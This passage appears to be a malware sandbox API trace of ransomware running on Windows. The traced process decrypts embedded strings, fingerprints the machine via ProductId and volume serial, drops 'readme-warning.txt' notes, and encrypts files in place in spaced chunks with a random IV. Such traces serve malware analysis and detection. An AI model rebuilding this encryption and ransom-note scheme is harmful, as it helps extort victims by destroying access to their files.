(HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.956] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.956] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0178.956] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.956] GetProcessHeap () returned 0x990000 [0178.956] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0178.956] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.956] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0178.956] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.957] GetProcessHeap () returned 0x990000 [0178.957] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fd9f0 [0178.957] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.957] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fd9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fd9f0, pdwDataLen=0x29dee20) returned 1 [0178.957] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.957] GetProcessHeap () returned 0x990000 [0178.957] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0178.957] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.957] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0178.957] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.957] GetProcessHeap () returned 0x990000 [0178.957] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0178.957] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.957] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0178.957] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.958] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0178.958] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0178.958] RegCloseKey (hKey=0x12c) returned 0x0 [0178.958] GetProcessHeap () returned 0x990000 [0178.958] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0178.958] GetProcessHeap () returned 0x990000 [0178.958] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0178.958] GetProcessHeap () returned 0x990000 [0178.958] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0178.958] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.958] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0178.958] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.958] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0178.958] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0178.959] GetProcessHeap () returned 0x990000 [0178.959] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0178.959] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0178.959] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0178.959] GetProcessHeap () returned 0x990000 [0178.959] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0178.959] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\readme-warning.txt") returned 83 [0178.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.960] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0178.961] CloseHandle (hObject=0x12c) returned 1 [0178.961] GetProcessHeap () returned 0x990000 [0178.961] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fd9f0 | out: hHeap=0x990000) returned 1 [0178.961] GetProcessHeap () returned 0x990000 [0178.962] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0178.962] GetProcessHeap () returned 0x990000 [0178.962] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0178.962] GetProcessHeap () returned 0x990000 [0178.962] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.962] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0178.962] GetProcessHeap () returned 0x990000 [0178.962] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0178.962] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WATERMAR", cAlternateFileName="")) returned 0 [0178.962] GetProcessHeap () returned 0x990000 [0178.962] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.962] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0178.962] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df0a8 | out: pbData=0x9af7b0, pdwDataLen=0x29df0a8) returned 1 [0178.962] CryptDestroyKey (hKey=0x9b6628) returned 1 [0178.962] GetProcessHeap () returned 0x990000 [0178.962] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0178.962] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0178.963] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df0a8 | out: pbData=0x9af7f8, pdwDataLen=0x29df0a8) returned 1 [0178.963] CryptDestroyKey (hKey=0x9b6628) returned 1 [0178.963] GetProcessHeap () returned 0x990000 [0178.963] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9b1eb0 [0178.963] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0178.963] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1eb0, pdwDataLen=0x29df0a8 | out: pbData=0x9b1eb0, pdwDataLen=0x29df0a8) returned 1 [0178.963] CryptDestroyKey (hKey=0x9b6628) returned 1 [0178.963] GetProcessHeap () returned 0x990000 [0178.963] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0178.963] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0178.963] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dec88 | out: pbData=0x9af840, pdwDataLen=0x29dec88) returned 1 [0178.963] CryptDestroyKey (hKey=0x9b6628) returned 1 [0178.963] GetProcessHeap () returned 0x990000 [0178.963] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0178.963] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0178.963] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dec88 | out: pbData=0x9b18c8, pdwDataLen=0x29dec88) returned 1 [0178.963] CryptDestroyKey (hKey=0x9b6628) returned 1 [0178.963] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29dec84 | out: phkResult=0x29dec84*=0x130) returned 0x0 [0178.964] RegQueryValueExA (in: hKey=0x130, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dec90, lpcbData=0x29dec8c*=0x400 | out: lpType=0x0, lpData=0x29dec90*=0x30, lpcbData=0x29dec8c*=0x18) returned 0x0 [0178.964] RegCloseKey (hKey=0x130) returned 0x0 [0178.964] GetProcessHeap () returned 0x990000 [0178.964] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0178.964] GetProcessHeap () returned 0x990000 [0178.964] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0178.964] GetProcessHeap () returned 0x990000 [0178.964] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0178.964] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0178.964] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea5c | out: pbData=0x9b18c8, pdwDataLen=0x29dea5c) returned 1 [0178.964] CryptDestroyKey (hKey=0x9b6628) returned 1 [0178.964] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0178.964] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29dea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0178.964] GetProcessHeap () returned 0x990000 [0178.964] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0178.965] wsprintfA (in: param_1=0x29deca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0178.965] wsprintfA (in: param_1=0x29df0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0178.965] GetProcessHeap () returned 0x990000 [0178.965] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9fd9f0 [0178.965] wsprintfW (in: param_1=0x29de084, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\readme-warning.txt") returned 74 [0178.965] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0178.965] WriteFile (in: hFile=0x130, lpBuffer=0x9fd9f0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de080, lpOverlapped=0x0 | out: lpBuffer=0x9fd9f0*, lpNumberOfBytesWritten=0x29de080*=0x3b3, lpOverlapped=0x0) returned 1 [0178.967] CloseHandle (hObject=0x130) returned 1 [0178.968] GetProcessHeap () returned 0x990000 [0178.968] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0178.968] GetProcessHeap () returned 0x990000 [0178.968] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fd9f0 | out: hHeap=0x990000) returned 1 [0178.968] GetProcessHeap () returned 0x990000 [0178.968] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0178.968] GetProcessHeap () returned 0x990000 [0178.968] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.968] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0178.968] GetProcessHeap () returned 0x990000 [0178.968] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0178.968] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0178.968] GetProcessHeap () returned 0x990000 [0178.968] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x80) returned 0x9b0940 [0178.968] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0178.971] GetProcessHeap () returned 0x990000 [0178.971] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0178.971] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0178.971] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ARFR", cAlternateFileName="")) returned 1 [0178.971] GetProcessHeap () returned 0x990000 [0178.971] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x282) returned 0x9f9760 [0178.971] GetProcessHeap () returned 0x990000 [0178.971] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8a) returned 0x9b0940 [0178.971] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0178.974] GetProcessHeap () returned 0x990000 [0178.974] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0178.974] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0178.974] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 1 [0178.974] GetProcessHeap () returned 0x990000 [0178.974] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28c) returned 0x9b1eb0 [0178.974] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.974] GetFileSizeEx (in: hFile=0x12c, lpFileSize=0x29deff8 | out: lpFileSize=0x29deff8*=1658904) returned 1 [0178.975] GetProcessHeap () returned 0x990000 [0178.975] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.975] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.975] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.975] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe4, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe4*=0x8, lpOverlapped=0x0) returned 1 [0178.977] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defe8 | out: phKey=0x29defe8*=0x9b6668) returned 1 [0178.977] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.977] GetProcessHeap () returned 0x990000 [0178.977] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.977] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defc8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defc8*=0x40) returned 1 [0178.978] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.978] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe4*=0x40, lpOverlapped=0x0) returned 1 [0178.978] WriteFile (in: hFile=0x12c, lpBuffer=0x29defec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe4, lpOverlapped=0x0 | out: lpBuffer=0x29defec*, lpNumberOfBytesWritten=0x29defe4*=0x4, lpOverlapped=0x0) returned 1 [0178.978] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe4*=0x10, lpOverlapped=0x0) returned 1 [0178.978] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe4, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe4*=0x80, lpOverlapped=0x0) returned 1 [0178.978] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.978] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe4, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe4*=0x8, lpOverlapped=0x0) returned 1 [0178.978] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defe8 | out: phKey=0x29defe8*=0x9b6668) returned 1 [0178.978] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.978] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29defb8 | out: lpNewFilePointer=0x0) returned 1 [0178.978] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29defac, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29defac*=0x40000, lpOverlapped=0x0) returned 1 [0178.986] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defb4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29defb4*=0x40000) returned 1 [0178.992] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.992] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29defb0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defb0*=0x40000, lpOverlapped=0x0) returned 1 [0178.993] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x1950f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.993] WriteFile (in: hFile=0x12c, lpBuffer=0x29defb8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defb0, lpOverlapped=0x0 | out: lpBuffer=0x29defb8*, lpNumberOfBytesWritten=0x29defb0*=0x8, lpOverlapped=0x0) returned 1 [0178.993] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x87008, lpNewFilePointer=0x0, dwMoveMethod=0x29defb8 | out: lpNewFilePointer=0x0) returned 1 [0178.993] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29defac, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29defac*=0x40000, lpOverlapped=0x0) returned 1 [0179.000] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defb4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29defb4*=0x40000) returned 1 [0179.004] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x87008, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.004] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29defb0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defb0*=0x40000, lpOverlapped=0x0) returned 1 [0179.005] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x1950f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.005] WriteFile (in: hFile=0x12c, lpBuffer=0x29defb8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defb0, lpOverlapped=0x0 | out: lpBuffer=0x29defb8*, lpNumberOfBytesWritten=0x29defb0*=0x8, lpOverlapped=0x0) returned 1 [0179.005] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x155020, lpNewFilePointer=0x0, dwMoveMethod=0x29defb8 | out: lpNewFilePointer=0x0) returned 1 [0179.005] 